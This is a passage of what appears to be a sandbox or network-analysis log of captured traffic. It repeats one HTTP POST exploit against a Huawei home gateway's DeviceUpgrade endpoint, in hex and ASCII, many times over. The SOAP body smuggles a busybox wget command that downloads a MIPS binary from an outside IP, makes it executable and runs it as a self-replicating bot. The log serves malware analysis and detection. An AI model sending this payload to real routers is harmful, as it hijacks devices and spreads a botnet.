68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 